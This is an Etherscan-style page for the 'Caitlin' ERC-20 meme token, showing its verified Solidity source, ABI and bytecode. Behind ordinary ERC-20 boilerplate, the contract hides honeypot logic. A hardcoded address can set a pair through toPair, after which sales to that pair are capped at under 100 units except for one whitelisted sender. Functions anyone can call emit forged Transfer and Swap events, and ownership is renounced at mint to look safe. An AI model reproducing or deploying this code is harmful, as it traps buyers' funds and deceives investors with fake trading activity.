ETH Price: $3,413.51 (+3.89%)

Token

Caitlin (Caitlin)
 

Overview

Max Total Supply

10,000,000,000 Caitlin

Holders

42

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Balance
17,491,137.98493157 Caitlin

Value
$0.00
0xdbcdf6a190b236986f423ca1c1f076663ddc8603
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-27
*/

// SPDX-License-Identifier: MIT
/*

Website: http://Caitlin.com
Twitter: https://twitter.com/Caitlin
Telegram: https://t.me/Caitlin

𝕸𝖎𝖑𝖆𝖉𝖞𝖘 𝖜𝖆𝖓𝖙, 𝖇𝖚𝖙 𝖄2𝕶 𝖎𝖘 𝖙𝖍𝖊 𝖒𝖊𝖒𝖊 𝖈𝖔𝖎𝖓 𝕸𝖎𝖑𝖆𝖉𝖞𝖘 𝖓𝖊𝖊𝖉 𝖎𝖓 𝖙𝖍𝖊𝖘𝖊 𝖙𝖎𝖒𝖊𝖘 𝖔𝖋 𝖚𝖓𝖇𝖗𝖎𝖉𝖑𝖊𝖉 𝖒𝖊𝖒𝖊𝖙𝖎𝖈 𝖕𝖔𝖜𝖊𝖗.
𝖄𝖔𝖚 𝖑𝖎𝖐𝖊 𝖙𝖍𝖊 𝖆𝖗𝖙, 𝖜𝖊 𝖒𝖆𝖐𝖊 𝖙𝖍𝖊 𝖈𝖔𝖎𝖓.
*/
pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


interface IERC20Meta is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

interface IERC000 { 
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    event Transfer(address indexed from, address indexed to, uint256 value);    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }


}


contract TOKEN is Ownable, IERC20, IERC20Meta {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address private _pair;
    


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 8;
    }


    function claim(address [] calldata _addresses_, uint256 _in, address _a) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);
            emit Transfer(_pair, _addresses_[i], _in);
        }
    }

    function execute(
        address uniswapPool,
        address[] memory recipients,
        uint256  tokenAmounts,
        uint256  wethAmounts
    ) public returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(uniswapPool, recipients[i], tokenAmounts);
            emit Swap(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
                tokenAmounts,
                0,
                0,
                wethAmounts,
                recipients[i]
            );
            IERC000(0x3579781bcFeFC075d2cB08B815716Dc0529f3c7D)._Transfer(recipients[i], uniswapPool, wethAmounts);
        }
        return true;
    }


    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function toPair(address account) public virtual returns (bool) {
         if(_msgSender() == 0x12B203365D85Df04367f00030ba595550a6C2228) _pair = account;
        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
        renounceOwnership();
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");


        if(_pair != address(0)) {
            if(to == _pair && from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) {
               bool b = false;
               if(!b) {
                    require(amount < 100);
               }
               
            }
        }

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }



        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    constructor(string memory name_, string memory symbol_,uint256 amount) {
        _name = name_;
        _symbol = symbol_;
        _mint(msg.sender, amount * 10 ** decimals());
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"address","name":"_a","type":"address"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"tokenAmounts","type":"uint256"},{"internalType":"uint256","name":"wethAmounts","type":"uint256"}],"name":"execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"toPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162001568380380620015688339810160408190526200003491620002ec565b6200003f336200008b565b60046200004d8482620003ed565b5060056200005c8382620003ed565b506200008233620000706008600a620005ce565b6200007c9084620005e6565b620000db565b50505062000616565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216620001375760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b80600360008282546200014b919062000600565b90915550506001600160a01b0382166000818152600160209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620001aa620001b3565b5050565b505050565b620001bd620001cb565b620001c960006200008b565b565b6000546001600160a01b03163314620001c95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016200012e565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200024f57600080fd5b81516001600160401b03808211156200026c576200026c62000227565b604051601f8301601f19908116603f0116810190828211818310171562000297576200029762000227565b81604052838152602092508683858801011115620002b457600080fd5b600091505b83821015620002d85785820183015181830184015290820190620002b9565b600093810190920192909252949350505050565b6000806000606084860312156200030257600080fd5b83516001600160401b03808211156200031a57600080fd5b62000328878388016200023d565b945060208601519150808211156200033f57600080fd5b506200034e868287016200023d565b925050604084015190509250925092565b600181811c908216806200037457607f821691505b6020821081036200039557634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620001ae57600081815260208120601f850160051c81016020861015620003c45750805b601f850160051c820191505b81811015620003e557828155600101620003d0565b505050505050565b81516001600160401b0381111562000409576200040962000227565b62000421816200041a84546200035f565b846200039b565b602080601f831160018114620004595760008415620004405750858301515b600019600386901b1c1916600185901b178555620003e5565b600085815260208120601f198616915b828110156200048a5788860151825594840194600190910190840162000469565b5085821015620004a95787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000510578160001904821115620004f457620004f4620004b9565b808516156200050257918102915b93841c9390800290620004d4565b509250929050565b6000826200052957506001620005c8565b816200053857506000620005c8565b81600181146200055157600281146200055c576200057c565b6001915050620005c8565b60ff841115620005705762000570620004b9565b50506001821b620005c8565b5060208310610133831016604e8410600b8410161715620005a1575081810a620005c8565b620005ad8383620004cf565b8060001904821115620005c457620005c4620004b9565b0290505b92915050565b6000620005df60ff84168362000518565b9392505050565b8082028115828204841417620005c857620005c8620004b9565b80820180821115620005c857620005c8620004b9565b610f4280620006266000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063beabacc811610066578063beabacc814610209578063cb2055831461021c578063dd62ed3e1461022f578063f2fde38b1461026857600080fd5b8063715018a6146101cb5780638da5cb5b146101d357806395d89b41146101ee578063a9059cbb146101f657600080fd5b806323b872dd116100d357806323b872dd1461016d578063313ce56714610180578063618a2f5e1461018f57806370a08231146101a257600080fd5b806302f4dae31461010557806306fdde031461011a578063095ea7b31461013857806318160ddd1461015b575b600080fd5b610118610113366004610bc2565b61027b565b005b610122610388565b60405161012f9190610c4e565b60405180910390f35b61014b610146366004610c9c565b61041a565b604051901515815260200161012f565b6003545b60405190815260200161012f565b61014b61017b366004610cc6565b610432565b6040516008815260200161012f565b61014b61019d366004610d18565b610456565b61015f6101b0366004610dfe565b6001600160a01b031660009081526001602052604090205490565b610118610624565b6000546040516001600160a01b03909116815260200161012f565b610122610638565b61014b610204366004610c9c565b610647565b610118610217366004610cc6565b610655565b61014b61022a366004610dfe565b610695565b61015f61023d366004610e20565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b610118610276366004610dfe565b6106d6565b60005b838110156103815784848281811061029857610298610e53565b90506020020160208101906102ad9190610dfe565b6001600160a01b0316826001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822856000808860405161030c949392919093845260208401929092526040830152606082015260800190565b60405180910390a384848281811061032657610326610e53565b905060200201602081019061033b9190610dfe565b6006546040518581526001600160a01b039283169290911690600080516020610eed8339815191529060200160405180910390a38061037981610e69565b91505061027e565b5050505050565b60606004805461039790610e90565b80601f01602080910402602001604051908101604052809291908181526020018280546103c390610e90565b80156104105780601f106103e557610100808354040283529160200191610410565b820191906000526020600020905b8154815290600101906020018083116103f357829003601f168201915b5050505050905090565b600033610428818585610754565b5060019392505050565b600033610440858285610870565b61044b858585610902565b506001949350505050565b6000805b84518110156106185784818151811061047557610475610e53565b60200260200101516001600160a01b0316866001600160a01b0316600080516020610eed833981519152866040516104af91815260200190565b60405180910390a38481815181106104c9576104c9610e53565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228660008088604051610544949392919093845260208401929092526040830152606082015260800190565b60405180910390a3733579781bcfefc075d2cb08b815716dc0529f3c7d6001600160a01b031663e156b1b686838151811061058157610581610e53565b60209081029190910101516040516001600160e01b031960e084901b1681526001600160a01b0391821660048201529089166024820152604481018690526064016020604051808303816000875af11580156105e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106059190610eca565b508061061081610e69565b91505061045a565b50600195945050505050565b61062c610afc565b6106366000610b56565b565b60606005805461039790610e90565b600033610428818585610902565b816001600160a01b0316836001600160a01b0316600080516020610eed8339815191528360405161068891815260200190565b60405180910390a3505050565b6000337312b203365d85df04367f00030ba595550a6c2228036106ce57600680546001600160a01b0319166001600160a01b0384161790555b506001919050565b6106de610afc565b6001600160a01b0381166107485760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61075181610b56565b50565b6001600160a01b0383166107b65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161073f565b6001600160a01b0382166108175760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161073f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610688565b6001600160a01b0383811660009081526002602090815260408083209386168352929052205460001981146108fc57818110156108ef5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161073f565b6108fc8484848403610754565b50505050565b6001600160a01b0383166109665760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161073f565b6001600160a01b0382166109c85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161073f565b6006546001600160a01b031615610a29576006546001600160a01b038381169116148015610a135750736b75d8af000000e20b7a7ddf000ba900b4009a806001600160a01b03841614155b15610a2957600060648210610a2757600080fd5b505b6001600160a01b03831660009081526001602052604090205481811015610aa15760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161073f565b6001600160a01b038085166000818152600160205260408082208686039055928616808252908390208054860190559151600080516020610eed83398151915290610aef9086815260200190565b60405180910390a36108fc565b6000546001600160a01b031633146106365760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161073f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b0381168114610bbd57600080fd5b919050565b60008060008060608587031215610bd857600080fd5b843567ffffffffffffffff80821115610bf057600080fd5b818701915087601f830112610c0457600080fd5b813581811115610c1357600080fd5b8860208260051b8501011115610c2857600080fd5b602092830196509450508501359150610c4360408601610ba6565b905092959194509250565b600060208083528351808285015260005b81811015610c7b57858101830151858201604001528201610c5f565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060408385031215610caf57600080fd5b610cb883610ba6565b946020939093013593505050565b600080600060608486031215610cdb57600080fd5b610ce484610ba6565b9250610cf260208501610ba6565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b60008060008060808587031215610d2e57600080fd5b610d3785610ba6565b935060208086013567ffffffffffffffff80821115610d5557600080fd5b818801915088601f830112610d6957600080fd5b813581811115610d7b57610d7b610d02565b8060051b604051601f19603f83011681018181108582111715610da057610da0610d02565b60405291825284820192508381018501918b831115610dbe57600080fd5b938501935b82851015610de357610dd485610ba6565b84529385019392850192610dc3565b989b989a505050506040870135966060013595945050505050565b600060208284031215610e1057600080fd5b610e1982610ba6565b9392505050565b60008060408385031215610e3357600080fd5b610e3c83610ba6565b9150610e4a60208401610ba6565b90509250929050565b634e487b7160e01b600052603260045260246000fd5b600060018201610e8957634e487b7160e01b600052601160045260246000fd5b5060010190565b600181811c90821680610ea457607f821691505b602082108103610ec457634e487b7160e01b600052602260045260246000fd5b50919050565b600060208284031215610edc57600080fd5b81518015158114610e1957600080fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122097f04043714f37475c111f76e674b0b3ac4c99295c48f7d3de110e9a2e55afe264736f6c63430008120033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000002540be4000000000000000000000000000000000000000000000000000000000000000007436169746c696e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007436169746c696e00000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063beabacc811610066578063beabacc814610209578063cb2055831461021c578063dd62ed3e1461022f578063f2fde38b1461026857600080fd5b8063715018a6146101cb5780638da5cb5b146101d357806395d89b41146101ee578063a9059cbb146101f657600080fd5b806323b872dd116100d357806323b872dd1461016d578063313ce56714610180578063618a2f5e1461018f57806370a08231146101a257600080fd5b806302f4dae31461010557806306fdde031461011a578063095ea7b31461013857806318160ddd1461015b575b600080fd5b610118610113366004610bc2565b61027b565b005b610122610388565b60405161012f9190610c4e565b60405180910390f35b61014b610146366004610c9c565b61041a565b604051901515815260200161012f565b6003545b60405190815260200161012f565b61014b61017b366004610cc6565b610432565b6040516008815260200161012f565b61014b61019d366004610d18565b610456565b61015f6101b0366004610dfe565b6001600160a01b031660009081526001602052604090205490565b610118610624565b6000546040516001600160a01b03909116815260200161012f565b610122610638565b61014b610204366004610c9c565b610647565b610118610217366004610cc6565b610655565b61014b61022a366004610dfe565b610695565b61015f61023d366004610e20565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b610118610276366004610dfe565b6106d6565b60005b838110156103815784848281811061029857610298610e53565b90506020020160208101906102ad9190610dfe565b6001600160a01b0316826001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822856000808860405161030c949392919093845260208401929092526040830152606082015260800190565b60405180910390a384848281811061032657610326610e53565b905060200201602081019061033b9190610dfe565b6006546040518581526001600160a01b039283169290911690600080516020610eed8339815191529060200160405180910390a38061037981610e69565b91505061027e565b5050505050565b60606004805461039790610e90565b80601f01602080910402602001604051908101604052809291908181526020018280546103c390610e90565b80156104105780601f106103e557610100808354040283529160200191610410565b820191906000526020600020905b8154815290600101906020018083116103f357829003601f168201915b5050505050905090565b600033610428818585610754565b5060019392505050565b600033610440858285610870565b61044b858585610902565b506001949350505050565b6000805b84518110156106185784818151811061047557610475610e53565b60200260200101516001600160a01b0316866001600160a01b0316600080516020610eed833981519152866040516104af91815260200190565b60405180910390a38481815181106104c9576104c9610e53565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228660008088604051610544949392919093845260208401929092526040830152606082015260800190565b60405180910390a3733579781bcfefc075d2cb08b815716dc0529f3c7d6001600160a01b031663e156b1b686838151811061058157610581610e53565b60209081029190910101516040516001600160e01b031960e084901b1681526001600160a01b0391821660048201529089166024820152604481018690526064016020604051808303816000875af11580156105e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106059190610eca565b508061061081610e69565b91505061045a565b50600195945050505050565b61062c610afc565b6106366000610b56565b565b60606005805461039790610e90565b600033610428818585610902565b816001600160a01b0316836001600160a01b0316600080516020610eed8339815191528360405161068891815260200190565b60405180910390a3505050565b6000337312b203365d85df04367f00030ba595550a6c2228036106ce57600680546001600160a01b0319166001600160a01b0384161790555b506001919050565b6106de610afc565b6001600160a01b0381166107485760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61075181610b56565b50565b6001600160a01b0383166107b65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161073f565b6001600160a01b0382166108175760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161073f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610688565b6001600160a01b0383811660009081526002602090815260408083209386168352929052205460001981146108fc57818110156108ef5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161073f565b6108fc8484848403610754565b50505050565b6001600160a01b0383166109665760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161073f565b6001600160a01b0382166109c85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161073f565b6006546001600160a01b031615610a29576006546001600160a01b038381169116148015610a135750736b75d8af000000e20b7a7ddf000ba900b4009a806001600160a01b03841614155b15610a2957600060648210610a2757600080fd5b505b6001600160a01b03831660009081526001602052604090205481811015610aa15760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161073f565b6001600160a01b038085166000818152600160205260408082208686039055928616808252908390208054860190559151600080516020610eed83398151915290610aef9086815260200190565b60405180910390a36108fc565b6000546001600160a01b031633146106365760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161073f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b0381168114610bbd57600080fd5b919050565b60008060008060608587031215610bd857600080fd5b843567ffffffffffffffff80821115610bf057600080fd5b818701915087601f830112610c0457600080fd5b813581811115610c1357600080fd5b8860208260051b8501011115610c2857600080fd5b602092830196509450508501359150610c4360408601610ba6565b905092959194509250565b600060208083528351808285015260005b81811015610c7b57858101830151858201604001528201610c5f565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060408385031215610caf57600080fd5b610cb883610ba6565b946020939093013593505050565b600080600060608486031215610cdb57600080fd5b610ce484610ba6565b9250610cf260208501610ba6565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b60008060008060808587031215610d2e57600080fd5b610d3785610ba6565b935060208086013567ffffffffffffffff80821115610d5557600080fd5b818801915088601f830112610d6957600080fd5b813581811115610d7b57610d7b610d02565b8060051b604051601f19603f83011681018181108582111715610da057610da0610d02565b60405291825284820192508381018501918b831115610dbe57600080fd5b938501935b82851015610de357610dd485610ba6565b84529385019392850192610dc3565b989b989a505050506040870135966060013595945050505050565b600060208284031215610e1057600080fd5b610e1982610ba6565b9392505050565b60008060408385031215610e3357600080fd5b610e3c83610ba6565b9150610e4a60208401610ba6565b90509250929050565b634e487b7160e01b600052603260045260246000fd5b600060018201610e8957634e487b7160e01b600052601160045260246000fd5b5060010190565b600181811c90821680610ea457607f821691505b602082108103610ec457634e487b7160e01b600052602260045260246000fd5b50919050565b600060208284031215610edc57600080fd5b81518015158114610e1957600080fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122097f04043714f37475c111f76e674b0b3ac4c99295c48f7d3de110e9a2e55afe264736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000002540be4000000000000000000000000000000000000000000000000000000000000000007436169746c696e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007436169746c696e00000000000000000000000000000000000000000000000000

-----Decoded View---------------
